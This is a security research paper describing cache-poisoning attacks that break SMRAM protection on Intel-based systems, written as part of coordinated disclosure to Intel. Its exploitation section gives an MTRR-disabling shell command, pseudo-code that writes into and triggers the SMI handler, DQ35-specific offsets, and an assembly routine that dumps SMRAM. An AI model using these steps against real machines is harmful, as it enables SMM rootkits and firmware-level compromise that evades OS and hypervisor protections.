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Abstract

In this paper we describe novel practical attacks on SMM memory (SMRAM) that exploit 
CPU caching semantics of Intel-based systems.
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1. Introduction

System Management Mode (SMM) is the most 
privileged CPU operation mode on x86/x86_64 
architectures. It can be thought of as of "Ring -2", 
as the code executing in SMM has more privileges 
than even hardware hypervisors (VT), which are 
colloquially referred to as if operating in "Ring -1".

The SMM code lives in a specially protected region 
of system memory, called SMRAM. The memory 
controller offers dedicated locks to limit access to 
SMRAM memory only to system firmware (BIOS). 
BIOS, after loading the SMM code into SMRAM, 
can (and should) later "lock down" system 
configuration in such a way that no further access, 
from outside the SMM mode, to SMRAM is 
possible, even for an OS kernel (or a hypervisor).

In this paper we discuss an architectural problem 
affecting Intel-based systems that allow for 
unauthorized access to SMRAM. We also discuss 
how to practically exploit this problem, showing 
working proof of concept codes that allow for 
arbitrary SMM code execution. This allows for 
various kind of abuses of the super-privileged SMM 
mode, e.g. via SMM rootkits [9].

2. Related work

Other SMM attacks have been found and described 
earlier. 

Last year we have found a problem affecting many 
Intel® BIOSes that  allowed to exploit memory 
remapping functionality in order to access various 
memory regions, including SMRAM.  We have 
mentioned the attack during our presentation at the 
Black Hat USA 2008  last year [8] and 

subsequently, after Intel fixed the problem [5] after 
a few weeks, we have also released full details of 
the attack together with a proof of concept code 
[11].

Also last year, we have identified another problem 
in the Intel firmware that again allowed to bypass 
SMRAM protection and inject arbitrary code into 
SMM. We used that attack to bypass Intel® Trusted 
Execution Technology (TXT) on latest Intel systems 
(e.g. DQ35 motherboard) [10]. We haven't 
published the details of this recent SMM attack yet, 
because Intel is still in the process of patching the 
firmware. We plan to release the details of the 
attack at this year's Black Hat USA in July 2009.

Finally, another researcher, Loic Duflot, has 
discovered the same (as it turned out) caching 
attack on SMM as the one we describe in this 
paper. Duflot has reported the issue to Intel back in 
October 2008 and has planned to release the 
details at the CanSecWest conference in March 
2009. We have independently discovered the same 
attack in February 2009 and reported the issue 
immediately to Intel as well. We then were told by 
Intel that the same issue has been previously 
identified by Duflot and that Intel is preparing a 
workaround targeting Duflot's presentation at 
CanSecWest [7].1  After contacting Duflot we 
decided to release our paper on the same day as 
the Duflot's presentation date.

Interestingly the very same cache poisoning 
problem we abuse in our attack against SMM has 
been identified a few years ago by Intel employees, 
who even decided to describe it in at least two 
different patent applications [3] [1]. We haven't 
been aware of the patents before we discovered 
the attack — we never thought a vendor might 
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1 Intel contacted Loic Duflot first and verified he was ok with sharing this information.



describe weaknesses in its own products and apply 
for a patent on how to fix them, and still not 
implement those fixes for a few years2… The 
patents turned out, however, to be easily 
"googlable" and it would be surprising that nobody 
else before us, and Loic Duflot, have created 
working exploits for this vulnerability.

Besides the SMM attacks, whose target is to get 
access to the (normally well protected) SMRAM, 
other research involving SMM has also been 
presented. This includes Loic Duflot discussing 
SMM abuse to circumvent OpenBSD securelevel 
protection [2], as well as Sherri Sparks and Shawn 
Embleton [9] discussing SMM rootkits. However no 
novel attacks on SMM have been presented in 
those papers — authors assumed that SMM is not 
protected by the chipset (D_LOCK bit), which was 
true on older systems (pre 2006).

3. Attack details

Below we describe how to exploit cache poisoning 
to get access to the SMRAM memory. We assume 
that the attacker has access to certain platform 
MSR registers. In practice this is equivalent to the 
attacker having administrator privileges on the 
target system, and on some systems, like e.g. 
Windows, also the ability to load and execute 
arbitrary kernel code3. 

1. The attacker should first modify system MTRR4 
register(s) in order to mark the region of system 
memory where the SMRAM is located as 
cacheable with type Write-Back (WB).

2. Attacker now generates write accesses to 
physical addresses corresponding to locations 
where the SMRAM is located. Those accesses 
will now be cached, because we have marked 
this range of physical addresses as WB 
cacheable. Normally, physical addresses 
corresponding to the location of SMRAM would 
be un-cacheable and any write accesses to 

these addresses would be dropped by the 
memory controller (chipset).

3. Finally attacker needs to trigger an SMI5, which 
will transfer execution to the SMM code. The 
CPU will start executing the SMM code, but will 
be fetching the instructions from the cache first, 
before reading them from DRAM. Because the 
attacker previously (in point #2) generated write 
access to SMRAM locations, the CPU will fetch 
attacker-provided data from the cache and 
execute them as an SMI handler, with full SMM 
privileges.

The above scenario allows for arbitrary SMM 
memory overwrite (and later code execution of this 
arbitrary data written into SMM). We can also think 
about a similar attack that would allow for reading 
SMM memory6. This is especially useful for 
practical exploitation, where the attacker should 
first be able to obtain firmware-specific offsets, in 
order to be able to come up  with a reliable code 
execution exploit (see the next chapter). In this 
case the sequence of events would be:

1. Again the attacker first marks the SMRAM as 
WB cacheable, by manipulating system MTRR 
registers.

2. Now the attacker needs to trigger an SMI to 
cause  the original handler to execute, which 
will have also a side effect of (most of) its 
instructions being cached.

3. Finally, attacker should read the cache, 
preferably using a non-invasive instruction such 
as movnti, that will not pollute the cache with 
any new data.

4. Practical exploitation

On Linux systems it is trivial for the root user to 
modify system MTRRs7  via the /proc/mtrr 
pseudo-file. Assuming your system is an Intel 
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2 Intel told us that they have begun releasing CPUs with a feature to mitigate such attacks since 2007, but the feature have required cooperation from the BIOS.

3 Note that SMRAM memory should normally  be protected against accesses from OS kernel, so even the system administrator is not allowed to access SMRAM.

4 The usage of MTRR registers is described in the Intel Software Developerʼs Manual, vol. 3a, Chapter 10. MTRR registers are implemented as MSR registers.

5 SMI stands for System Management Interrupt. On Intel chipsets an SMI# can be triggered by executing OUT instruction to port 0xb2 .

6 Normally SMM memory cannot be read, even by the OS kernel.

7 This applies to the variable range MTTRs only.



DQ35 board with 2GB of RAM, it is likely that the 
"caching map" of your memory looks like this, e.g:

[root@localhost ~]# cat /proc/mtrr
reg00: base=0x00000000 (   0MB), 
size=2048MB: write-back, count=1
reg01: base=0x7f000000 (2032MB), size=  
16MB: uncachable, count=1
reg02: base=0x7e800000 (2024MB), size=   
8MB: uncachable, count=1
reg03: base=0x7e400000 (2020MB), size=   
4MB: uncachable, count=1
reg04: base=0x7e200000 (2018MB), size=   
2MB: uncachable, count=1

We see here the first entry (reg00) is marking the 
whole memory as Write-Back cacheable8. Next we 
see a bunch of "exceptions" — regions of memory 
each marked as uncacheable. One of those 
regions, (reg03) corresponds to the memory 
where the SMM's TSEG 9 segment is located. 

We can now simply remove this MTRR entry for 
TSEG, with the following shell command:

echo "disable=3" >| /proc/mtrr

On other systems we might not have the default-
WB-caching entry (as seen above) and we might 
need to manually modify the MTRR entry for TSEG 
to indicate caching type as Write-Back (which is 
crucial for the attack).

Of course on different systems than Linux, e.g. 
Windows, one doesn't have such a convenient 
access to /proc/mtrr pseudo-file. This is 
however only a minor technicality, as one can very 
well modify the MTRRs mapping using the 
standard WRMSR instructions.

Once the TSEG's memory is marked as WB 
cacheable, one can do something as simple as:

*(ptr) = evil_data;
outb 0x00, 0xb2 // generate SMI

Where ptr can e.g. point to a virtual address 
mapped to the physical address inside the TSEG 
segment. An easy way to achieve that is to use 
the /dev/mem device on Linux or the \Device
\PhysicalMemory object in Windows.

And that's it!10

Now when the SMI will be generated (on Intel 
systems one can do it easily with just one OUT 
instruction as shown above) and if it happens to 
execute instructions from the physical addresses 
we just filled with the "evil data", then the CPU will 
fetch those "evil data" from the cache and execute 
them, instead of executing the original SMM 
instructions from DRAM. Needless to say, one can 
make sure that the CPU will always fetch our 
instructions, e.g. by overwriting the SMI handler's 
entry point.

In particular, on DQ35 systems, one can notice that 
the SMI handler executes the following code 
(located in TSEG), shortly after the entry point to 
SMM11:

mov    $0x7e5fcfe0,%rsp
mov    0x8(%rsp),%rax
mov    (%rsp),%ecx
callq  *(%rax)

Consequently, a code execution in SMM might be 
achieved with the following (pseudo) code (we 
assume we have also allocated a buffer and 
calculated its physical address into the myaddr 
variable): 

fd = open("/dev/mem", O_RDWR);
*ptr = mmap (…, fd, …, 0x7e500000);
ptr2 = ptr + 0xfcfe0; // 1st core
ptr2[1] = myaddr;
ptr2 = ptr + 0xfefe0; // 2nd core
ptr2[1] = myaddr;
iopl(3); // allow IN/OUT from usermode
smi(); // trigger SMI# 

For the complete proof of concept code, please see 
[6]. Note the exploit has several hard-coded 
constants that likely will need to be adjusted for 
systems other than DQ35 with 2GB of RAM. Also, 
for simplicity, we use a dedicated kernel module 
that is used for allocating the shellcode buffer and 
calculating its physical address. The exploit's 
shellcode doesn't do anything spectacular — it only 
increases a counter that could be observed via 
the /proc/mymem - a pseudo file created by the 
helper module. Consequently the exploit we publish 
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8 For explanation on different types of memory cacheing please consult the Intel Software Developerʼs Manual, vol. 3a.

9 TSEG is a region of memory above 1MB comprising the SMRAM (in fact most of the SMM code is located in TSEG in today's systems). The start of the TSEG 
region is indicated by the TSEGMB register in the northbridge, on Intel systems.

10 This sentence is supposed to stress the simplicity and reliability of this one-might-think-complex attack.

11 A careful reader might notice this code is a 64-bit assembly, which means that majority of the SMM code is executing in the long mode. We have also been 
surprised when discovered this for the first time, but apparently there is nothing that forbids SMI handler from switching the CPU to the long mode and restore it 
back to whatever other mode was active before the SMI#, e.g. ordinary 32-bit protected mode.



is totally harmless (it also takes care of executing 
the original SMM code).

As we see, exploitation can even be achieved from 
the usermode (escalation from Ring 3 to SMM), 
assuming the OS allows for I/O  operations and 
MTRR manipulation from usermode. E.g. most 
Linux systems allow its root user to do the above, 
while Windows systems do not. This also means 
that the above attack could be potentially used for 
usermode-to-kernel privilege escalations on 
systems that take special care to protect the kernel, 
e.g. by disabling LKM support and blocking writes 
to /dev/(k)mem devices. We haven't tried our 
attack against any such systems though.

An alert user might notice that, in order to perform 
the attack above, one had to know the SMM-
specific "offsets" that are used by the SMI handler. 

There are more than one way to solve this problem. 
One elegant approach is to use the same caching 
attack in order to read, instead of write to, the SMM 
memory. 

The following pseudo-code demonstrates an exploit 
that could be used to read the SMM code:

fd = open("/dev/mem", O_RDWR);
*ptr = mmap (…, fd, …, 0x7e500000);
memset(outbuf, 0, sizeof(outbuf));
iopl(3);
smi();
asm("push %rsi\n"
    "push %rdi\n"
    "mov $0x40000, %ecx\n"
    "mov $outbuf, %rdi\n"
    "mov ptr, %rsi\n" 
    "lp:\n"
    "mov (%rsi), %eax\n"
    "movnti %eax, (%rdi)\n"
    "add $4, %rdi\n"
    "add $4, %rsi\n"
    "loop lp\n"
    "pop %rdi\n"
    "pop %rsi\n"
    "mfence");
write(1, outbuf, SIZE); // stdout

The trick used above is the movnti instruction 
that can be used to read data from the cache 
(which have been left there by the SMI handler 
executing as WB cacheable) without polluting the 
cache with new data, which would had a negative 
effect of removing the interesting data from the 
cache before they could be read. Note that using 

the above method one can only read those 
addresses from the SMI handler that had been 
executed12.

5. Workaround

Intel has informed us that they have been working 
on a solution to prevent caching attacks on SMM 
memory for quite a while and have also engaged 
with OEMs/BIOS vendors to implement certain new 
mechanisms that are supposed to prevent the 
attack. According to Intel, many new systems are 
protected against the attack. We have found out, 
however, that some of the Intel 's recent 
motherboards, like e.g. the popular DQ35, are still 
vulnerable to the attack.

Additionally the workarounds that Intel has 
mentioned to us are not yet officially documented, 
but Intel told us that they will be updating the CPU 
documentation shortly (In particular the vol. 3a of 
[4]).

6. Summary

In this paper we have described practical 
exploitation of the CPU cache poisoning in order to 
read or write into (otherwise protected) SMRAM 
memory. We have implemented two working 
exploits: one for dumping the content of SMRAM 
and the other one for arbitrary code execution in 
SMRAM. This is the third attack on SMM memory 
our team has found within the last 10 months, 
affecting Intel-based systems. It seems that current 
state of firmware security, even in case of such 
reputable vendors as Intel13, is quite unsatisfying.

The potential consequence of attacks on SMM 
might include SMM rootkits [9], hypervisor 
compromises [8], or OS kernel protection 
bypassing [2].
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